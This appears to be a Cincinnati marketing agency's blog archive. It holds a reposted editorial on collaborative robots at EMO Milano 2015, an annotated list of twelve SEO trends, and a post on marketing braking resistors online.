No one quite knew what to think of them. There wasn’t even a name for this kind of robot yet. Along with Rethink Robotics’ Baxter, these devices were forging a new direction for robotics, one that defied everything they had been doing for the previous 51 years.  

No one thought it would last. No one thought any real manufacturer would ever need such slow, clumsy devices. And absolutely everyone was sure that OSHA would shut them down before they ever got adopted. 

They were wrong. 

Fast forward three years to the machine tool show at EMO Milano 2015. The entire robotics industry has shifted; collaborative robots are everywhere now, and not just upstarts, but from the major traditional players like Kuka and ABB.

Even more exciting, now we can get up close and personal with giants, too. At Comau’s booth, for example, there was a shiny Racer3 running at full speed in the middle of the pavilion with no barriers at all. Just spinning around shuffling mini basketballs in quick, lethal motion right there in the heart of the traffic. 

The machine was equipped with sensors designed to detect any approaching body – slowing its powerful arcs upon initial approach, and finally stopping before we got within striking distance, only to automatically restart upon retreat.

I find this to be the most encouraging development imaginable. 

In just three years, an improbable new technological concept emerged from nowhere and completely took over the market. 

For a supposedly conservative industry, one that is slammed for being overly-regulated and rigid, these innovations have erupted at an amazing pace. In the process, they have given manufacturers new capabilities, powerful new tools, and new hope to face the issues of the future. 

Wherever you stand on the machine-vs.-man employment debate, this innovation cycle holds a lot of promise. It shows that the manufacturing industry is still capable of quick change, of adopting new technologies and putting them to real work. 

It’s proof that this is still a powerful, vibrant industry. One that is here to stay.


(Thanks for the great editorial Travis.

I commented after your article that I had just visited Fanuc here in Cincinnati, and they demonstrated a cobot. The videos in this post are from that trip, hosted by the Cincinnati Chamber of Commerce.

My interest is that any product that requires a lot of education and hand-holding is great for "Inbound" marketing practices. "Inbound" is a new term used to describe marketing automation that uses great content with social media to draw visitors to your website. Even more great content captures the visitor's email address, and you're off to the races nurturing them into customers. It's not as easy as it sounds because it requires you have an encyclopedic knowledge of your product and the decision process a customer uses to purchase it. Typically a good sales manager has that but the real challenge is to get marketing and upper management to invest in putting it into action with communications and deliverables.

The internet, email and the almost constant use of all sorts of screens are pushing this trend. Besides great content delivered at the right time, you need to use the internet to promote your content. This is much harder than you think. You can't just publish a blog, and they will come. You need to work with media that is well respected and collaborate with them to offer your content and get it linked from them to you.

Like cobots, "Inbound" needs a lot of promotion, but it is the future of marketing.

Chuck Lohre)

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12 Changes That Will Impact Your SEO Strategy (Or not.)

Mon, May 25, 2015 @ 12:12 PM / by Chuck Lohre posted in Industrial Marketing, Inbound Marketing, SEO - search engine optimization, Blogging and Blog Content Creation, Internet Marketing, CMS - Content Management System, Industrial Search Engine Optimization - SEO, Industrial Marketing Content, Marketing Content, Internet Design and Development, Social Media Marketing and Advertising, Internet Development, Content Creation, Internet Advertising, SEO Strategy


May 25, 2015 // 7:00 AM, From a Hubspot Post with commentary by Chuck Lohre for the industrial search.

Written by Young Entrepreneur Council (YEC) | @


SEO is a moving target that can really affect your business. This means that as a startup founder, you need to be prepared to make your strategy work no matter what Google enforces.

(Industrial search doesn't move that much. Sites we have done for hugh water pumps ten years ago are working perfectly well today. There product hasn't changed in 50 years. Why should their site? They just keep getting orders from around the world because we wrote the site for people looking for that very unique pump. If we had anything new to say we would, but we don't)

We asked 12 entrepreneurs what trends they have noticed in the past year and how they have prepared their business. Here's what they have noticed:

1) Increasing Attention to the User

In the past, SEO was all about manipulating data and keywords to gain search engine rankings. However with the leak of Google's Quality Rating Guide back in August, it has become crystal clear that modern SEO is all about adding quality rather than quantity. We shifted our entire content marketing strategy to be about the user, creating engaging content that compels our audience to take action.

– Phil LaboonEyeflow Internet Marketing

(Still, you have to use the words that your visitor is searching for. Search engines can't guess what you are thinking.)

2) Optimizing for Mobile Traffic

Google recently started including a 'mobile-friendly' notion next to website for mobile search results. Making sure you have this next your site increases the CTR for your website and the over amount of traffic. I suggest you test your site with this Google tool.

– Yossi FishlerAndy OS, inc.

(It's all the rage but the jury is still out on this when it comes to multi-million dollar machine tools. A very large percentage of those searches are on a desktop and not a tablet or cell phone.)

3) Emphasizing the Importance of Social

Whether it's social sharing from your site or traffic coming from social media, the importance of social engagements is really affecting SEO. It's part of SEO's way of measuring interactions with your pages and content, which are proving to be more and more important. If no one is interacting, it reflects poorly on your page quality and hurts your chances of ranking.

– Brooke BergmanAllied Business Network Inc.

(The largest social feedback we get is when we misspell a word! Of course we were explaining the energy involved in a process and the preventive maintenance procedures.)

4) Identifying Negative SEO

With penalty algorithms, negative SEO can now impact businesses that are not carefully watching their backlinks and other metrics. There have even been studies of sites hit by negative SEOs that sent bogus traffic and negatively impacted bounce rate and CTR from Google SERPs. Watch your link profile, analytics, and be on the lookout for misuse.

– Marcela DeVivo, Gryffin Media

(The only backlinks we have are from industry directories we like and our customers use.)

5) Focusing on Storytelling

Keyword stuffing is a thing of the past. Now, artful storytelling is the only way publishers will get visibility in the SERPs. Our business focuses on helping brands create compelling content with YouTube creators, so updates to the Google algorithm have been immensely helpful in improving our value proposition to clients and the long-term value brands get from their Grapevine campaigns.

– Danny WongGrapevine

(Keyword stuffing doesn't mean not using you keyword in the URL, title, headline and body. That's just common courtesy to the visitor. And to the search engines.)

6) Introducing More Penalties

Our daily tests from 5,000+ sites prove that you will get penalized for both on-site and off-site issues that you may not be aware of. Look closely at the quality of pages you're indexing in Google, eradicate duplicate content, improve your user experience, and ensure you're monitoring your incoming links, disavowing those that are working against your assets. It matters more now than ever before.

– Alex Miller, PosiRank LLC

(We're not sure if this is duplicate content. But it would be if this was a much more popular blog.)

7) Looking for a Google+ Page

If you are a local business, having a website isn't enough to rank well in Google's local search listings. If you want to rank well you need to unlock, verify, and optimize a Google+ Business Page (referred to more recently as a Google My Business Page). If you want to maximize your search traffic from Google, treat your Google Business Page as you would your website, and optimize accordingly.

– Kristopher JonesLSEO.com

(It's fun to update your Google + page. Not sure if it effects much yet.)

8) Aggressively Targeting Blog Networks

At the beginning of 2014, Matt Cutts, head of webspam at Google, announced that the idea of "guest post networks," which had been effective in the past, were on their way out. In the middle of 2014, Google took action against several large networks, including MyBlogGuest, and penalized many high-ranking sites that had participated in linking schemes. Guest bloggers need to rethink their strategy.

– Sathvik TantryFormSwift

(This is the practice of making a post to your blog with a URL to the site they are promoting. They are done by robots and sounc goofy.)

9) Optimizing for User Experience

Where do take your SEO strategy when you've got links, titles, and content covered? Recently we've revamped our site to offer a better user experience. Within three months of rolling out the changes, time on site is up 30% and our bounce rate is down 9%, all while our search traffic is up almost 110%. Google is looking for quality indicators. Make sure your user experience isn't sending the wrong ones.

– Nick ReeseBroadbandNow

(What is a better user experience? Making it easy to find what they are looking for with out looking too busy.)

10) Becoming More Predictable

SEO is now easier than it has ever been thanks to big data. The key to successful SEO is having a strategy in place that records your previous efforts, compares those efforts to your current results, and then predicts which activities will provide the most value in the future. SEO was an art before big data. Now it is a science.

– Roger BryanEnfusen Digital Marketing

(Determine the keywords that are important to your business. Write your content to educate the visitor about those topics. If you don't rank, buy AdWords, but never stop trying to rank free naturally. We have retired AdWord programs after the client's site was ranking naturally for all the important phrases.)

11) Using Location as a Source

Since we are a global identity verification company, it's important to understand how changes in Pigeon's algorithm would affect the visibility of our website in local listings.

– Stephen UffordTrulioo

(Even un-local purchasing is effected by location. Local offices and sales reps are the cause.)

12) Optimizing for Entity Search

We're always looking for opportunities to increase our footprint in Google's search results. With more search queries 'answered' directly in Google's search results, we only need to spend a few hours of development to be eligible for inclusion. As semantic markup expands to identify more entities, our business will be relevant for more complex and user-specific queries.

– Andrew SaladinoKitchen Cabinet Kings

(What he means is, if the visitor can get their answer by never clicking on your link, Google has succeeded. But a tree does make a sound even is no one is there to hear it.)

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Electrical Resistor Products Industrial Marketing Communications

Thu, Feb 07, 2013 @ 03:27 PM / by Chuck Lohre posted in Marketing Communications, Inbound Marketing, Marketing, SEO - search engine optimization, Internet Marketing, Industrial Website Design, Website Design, Business to Business Marketing, B2B Marketing, B2B Advertising, Internet Design and Development, Business to Business Advertising, Cincinnati Advertising Agency, Web Design


If the failed braking resistor has a name plate, that's who would be called, but many don't and they are typically purchased by the voltage and ohm specifications.

This blog will focus on the internet marketing communications of braking resistors because after blanket suppliers, trusted distributors and manufacturers, the internet is where this product is found.

A recent THOMAS REGISTER web site content report concluded:

  • 84% say they want content that educates them, and expect vendors to provide it
  • Over 70% of buyers want to find “solutions to solve a current problem” when
    they start a new search
  • 60% look for different types of content such as comparison of pricing and features depending on their needs at the time
  • 90% had researched products or services online
  • 82% looked up companies or brands online that they were already aware of
  • 72% sourced for suppliers of specific products and services
  • 55% purchased industrial products or services they found online

 “We just received an order for well over $100,000 from a customer in Canada that we would have never interacted with unless we had a very effective online presence," James Davis, President, Industrial Specialties Manufacturing, Manufacturer and Distributor of Miniature Pneumatic Vacuum and Fluid Circuitry Components, www.industrialspec.com

There couldn't be a more perfect example of a problem product found on the internet than an electrical braking resistor. They burn out and need to be replaced quickly. A survey of the manufacturers will get you a variety of responses:

  1. Sure we have that, please check that the holding bracket is the right one. I'll send you the specs, a quote and a drawing in a few minutes.
  2. Let me take down the specifications and get back to you. You get the information the next day.
  3. The electrical distributor has no idea what you are talking about.

Electrical Product Marketing Advertisements

The customer responsive manufacturer will get the order every time. Of course the number one thing your marketing communications needs to do is to be sure you are found on the internet. A quick search on "braking resistor" brought back the following results above.


Braking resistor Marketing Advertisements

Image search is getting more important. One distributor is programmed to come up in a search, above. Besides the "Alternative Text" you can also add even a narrative to the metadata of the image.


Breaking Resistor Marketing Web Site History

However don't make a fatal mistake, above, in internet marketing communications and throw out all the pages you ranked on when corporate decided they wanted the use of the domain. You can just redirect the pages and leave them online. No one would have ever known except for the typical 35% of their traffic that indexed them.

Electrical Resistor Marketing Comparison

This chart, above, shows the relative competitors in the industry compared to our site, which is the orange line. The tremendous increase was because we switched over to a new integrated content management, email, social media and search engine optimization tool. So there is a lot of room for improvement for "braking resistor manufacturers" in search engine optimization, social media (not so much Facebook but LinkedIn and Twitter), blogging, pages indexed and educational content.


Google Shopping Braking Resistor Marketing Advertisements

Google Shopping is the new Google AdWords. It costs less than AdWords but can deliver better results because you really know they are ready to buy. For manufacturer's it might be best to partner with the best distributors.

What is a manufacturer of "braking resistors" to do? Write their site so the product comes up in a Google search. This is ridiculously easy but many manufacturers don't write their content to show up in the search engines. All you have to do put the product description (category_model-number) in the: URL, title, headline, body, linktext and the alternative text for a photo. Only put the product description, not the company name, not the company tag line or anything else in those six places. Finally, supply the distributors that are selling online. They may be better at it than the manufacturer. Purchase Google Ad Words or Google Shopping as a last resort but that is probably best left to the distributors in the trenches.

The future isn't here yet. Then you will be able to search for any braking resistor with your smart phone and quickly find a nearby electrical distributor or manufacturer with the critical item.

6 Marketing Metrics to Prove ROI by Lohre Marketing & Advertising Cincinnati
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